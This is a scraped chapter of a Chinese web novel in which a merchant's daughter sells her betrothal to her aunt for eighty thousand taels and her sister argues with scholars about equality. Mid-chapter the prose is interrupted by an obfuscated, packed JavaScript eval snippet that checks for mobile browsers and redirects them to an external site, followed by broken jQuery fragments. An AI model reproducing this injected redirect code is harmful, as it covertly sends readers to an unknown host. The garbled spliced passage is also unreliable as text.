默认冷灰
24号文字
方正启体

11. 八万两

作者:余君归本书字数:K更新时间:
    可姚家三姐妹等了三天,都没能等来任何消息,反而是把大房的人给等来了。


    大房王氏带着女儿坐在姚芷兰面前,笑得一副不怀好意。


    “大丫头,听说你前几日被关进了京兆府,究竟是犯了何事?”


    姚芷兰押了口茶道:“他们抓错人了。”


    王氏不愿相信:“竟还有这等荒唐事。”


    姚芷兰不愿虚与委蛇,直接道:


    “大伯娘今日前来所为何事,我铺子里还有事呢。”


    王氏忙提起正事,拉着自己女儿往姚芷兰跟前凑。


    “你看你妹妹如今也十六了,容貌性情都是不差,就是这婚事,伯娘一直拿不定主意,挑来挑去都没个合适的。”


    竟是为了亲事?


    姚芷兰好笑道:“我们三房三个未嫁女,伯娘来谈这些不太好吧。”


    “是是,我这不是着急昏头了嘛。”


    她观察着姚芷兰的表情,慢慢道出此行的目的。


    “兰丫头,别怪我没提醒你,前几日我在宴席上碰到王夫人了,她在我跟前可是一大通抱怨。”


    姚芷兰心道终于说正事了,她倒要看看这人葫芦里卖的什么药。


    “那王夫人说你抛头露面不说,还跟外男拉拉扯扯,最后还进了牢狱,那话啊要多难听有多难听,哎哟我都说不出口。”


    王氏看她不接茬,只能硬着头皮继续说。


    “她还说,还说要来退婚呢!”


    姚芷兰干脆道:“要她来。”


    王氏经掉了下巴。


    “你说什么?这么好的亲事哪能说退就退?”


    “好吗?”姚芷兰露出了认真思考的表情。


    王氏嗔了一眼道:“五品京官配咱们商家女那可是求都求不来的好姻缘。”


    “你娘当初可是废了老鼻子劲才求来的,你这说不要就不要,实在不识好歹。”


    姚芷兰好似回过味来,挑眉道:“那送给你?”


    王氏看她主动提了这话头,喜意压都压不住。


    “虽说你们两家只交换了信物,但定的终究是三房的人,这突然换成大房,不知王家有没有意见。”


    她竟然真的认真盘算起来。


    姚芷兰嗤笑出声。


    “那就看伯娘你的本事了,我对王朗无意,让与大房也不是不可以。”


    “丹若,去将信物拿来。”


    一句话惹得王氏心涛澎湃。


    待姚芷兰将那定亲信物压住,忽然一笑。


    “只是这价格,就看伯娘的诚意了。”


    她竟然要将这门亲事折成现银兑出去!


    王氏脸色郑重的在心里盘算着价格,然后竖起一个手掌,这是她手上能拿出的数目。


    姚芷兰却举起手,来回一翻,这意思便是要翻倍。


    王氏登时坐不住了。


    “姚芷兰你怎么不去抢!”


    “伯娘,既然这门亲事这么好,那你出不起价格,你说别家出得起吗?”


    王氏心中一咯噔,她竟是今日才知道这姚芷兰的难缠,一咬牙道:


    “七万,不能再多了。”


    姚芷兰继续低头喝茶,末了抬头道:


    “八万,一个子儿都不能少。”


    王氏沉默了很久,终于艰难答应道:“成交。”


    看来她只能便卖自己的嫁妆了。


    姚芷兰将信物推到王氏面前,满面春风。


    “一手交钱一手交货,概不退还。”


    京城此前也有换亲替嫁之事,多发生在一家姊妹间,这隔着一房却不多见。


    但王氏有信心,自己的女儿样样都比姚芷兰出众。


    三房又没了爹娘,迟早家产都要进他们大房的荷包。


    如此一想,这八万两也不亏。


    王氏是个胆大的,而姚芷兰如今也逐渐疯狂。


    二人一拍即合,竟然就将这门亲事给卖了。


    只看得旁边的众人瞠目结舌。


    也不知大房使了何种手段,王夫人竟然答应了。


    消息像长了翅膀般,传到了三个男人耳中。


    *


    王朗怒气冲冲的就来找姚芷兰算账。


    可他刚出门便接到了一纸调令,说金陵缺一个巡防营指挥使,让他即刻走马上任。


    这一天大的馅饼将他砸得头晕眼花,喜不自胜。


    他连忙倒转脚步,又回到了自家府邸,报喜去了。


    可如果让他知道,他这一去便再也回不了京城,不知他还笑不笑得出来。


    ……


    京城走了个王朗,并没有发生任何变化。


    唯一不同往常的是,姚芷兰开始给魏时晏送礼了。


    每天变着花样送,有时是一盒糕点,有时是一袋新茶。


    都是些精致的吃食,可却把秦王爷给急坏了。


    蒋飞自那次禀报消息迟了后,便派人将姚府盯了个密不透风。


    但凡有任何风吹草动,都逃不掉他的眼线。


    所以这次得到消息后第一时间便禀告给了自家王爷。


    他永远也忘不掉,王爷在听到消息后拧断的狼毫和结冰的视线。


    自那以后他的任务便多了一项,拦截礼物。


    *


    姚芷兰近来很生气,她一连数日送出去的礼物,竟是一点回音也无。


    即便是一声道谢,一份回礼,亦或者一个人影,都没看见。


    她都开始怀疑,她是不是会错意了。


    姚靖宁看着姚芷兰愁眉不展的模样,笑得欠揍。


    “怎么?礼物被退回来了?”


    姚芷兰从不瞒她。


    “退回倒是没有,只是他收下却没有任何反应,你说这是何意?”


    “也许是他不爱这些吃食?”


    姚芷兰沉吟道:“有道理,那我换点东西送去。”


    姚靖宁摇了摇头问道:“你先别忙这些,商会那边你打算怎么办?”


    自从他们出来不久后,常瑞也毫发无伤的出来了。


    不仅如此,幕后之人也没有进一步行动,事情一度陷入僵局。


    “我猜测是幕后之人将常瑞救了出来,他现在还不想放弃这枚棋子。”


    “因为我们如此轻易就出来了,他肯定会有所忌惮,他需要常瑞继续在明面上刁难,他好再找时机下黑手。”


    “那我们如此被动,可没有千日防贼的道理。”


    姚靖宁最讨厌阴谋,她喜欢主动出击。


    “那不如就想办法再给他施加点压力...”


    姚芷兰朝着姚靖宁低头耳语。


    姚靖宁听完后眼睛都亮了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445996|185104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “这是个好主意,我这就去办。”


    正当她要跨出房门时,姚芷兰问道:


    “近几日怎么不见婉音,她在忙什么呢?”


    姚靖宁神秘一笑。


    “她还能忙什么,最近有大儒来京论道,她天天泡在那,家都不想回。”


    姚芷兰习以为常。


    她这个二妹满腹锦绣文章,却又言辞犀利,观点多为离经叛道,寻常大儒不把她打出去就不错了。


    ……


    而此刻的姚婉音虽不至于被扫地出门,却也差不离。


    一间栽满翠竹的院落,众人坐在曲水流觞的席面上脸红脖子粗。


    姚婉音一袭苍色男装,广袖轻袍,衬着她那惊为天人的容貌。


    端的是雌雄莫辨,一派文人风骨。


    可她嘴里的暴论,着实有点惊世骇俗。


    “女子为何受困于男子,商人为何排在末流,前有巴寡妇清,后有护国夫人周莹,何为天下大同,有教无类,不应该是男女平等,以盖世之功论英雄?”


    “士农工商,入仕则光宗耀祖,行商则矮人一头,那请问诸位身上所穿、口中所食,皆为何来?”


    “若世间皆士人,大雍何以为继?”


    “儒学本质乃是先王之道,礼崩乐坏前用以规训愚民,诸位心知肚明,后百家争鸣合为一体,但终究是男尊女卑,士先于万道,何解?”


    “大到华夷之辩小到百业之别,终究是高低贵贱、三六九等。”


    “为何不能存在一个真正的无疆界、无歧视、无差别的联邦之道?”


    “此间不会有战事,不会有倾轧,更不会有任何人因郁郁寡欢而葬送一生。”


    “在此道中的世人,有各抒己见的权利,有万道并存的可能,有欣欣向荣的未来,这里没有愚民,没有桎梏,更没有强权!”


    “人活在世,唯舒心尔,方为吾之道。”


    她纵横捭阖,说着于世人所不容的道。


    院中鸦雀无声,唯有溪水潺潺。


    第一个站出来的,是那位大儒。


    “孝悌忠信,礼义廉耻是世人存活于世的底气,无规矩不成方圆。”


    :若如你说的那般世道,岂不是国将不国,民将不民,实在有辱斯文。”


    姚婉音有礼作揖。


    “我说的道与孝悌忠信,礼义廉耻并不冲突。”


    “就如此刻,在座各位饱读圣贤,在此论道,那都是建立在丰衣足食的前提下。”


    “若是衣不果腹,需要为五斗米折腰时,别说论道,就是道心都得碎。”


    “有规矩却无粟米,有方圆却无商铺,有国无家,有家无子,那才是真正的国将不国,民将不民,有辱斯文。”


    场下一阵骚动,交头接耳声不绝于耳。


    大儒一下被辩得哑口无言。


    枉他入士半生,从未考虑过果腹与生计的问题。


    想来也是,能来此处者,非富即贵。


    即便是寒门也是书柜似海,生存绝不是他们该考虑的问题。


    第二个跳出来的是一个纨绔。


    纨绔长得玉面修容,衣着奢华富贵,环佩叮当。


    说来也怪,三日来但凡姚婉音开口,他必定来驳。


    虽然次次铩羽而归,但他竟越挫越勇,似乎是和姚婉音卯上了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)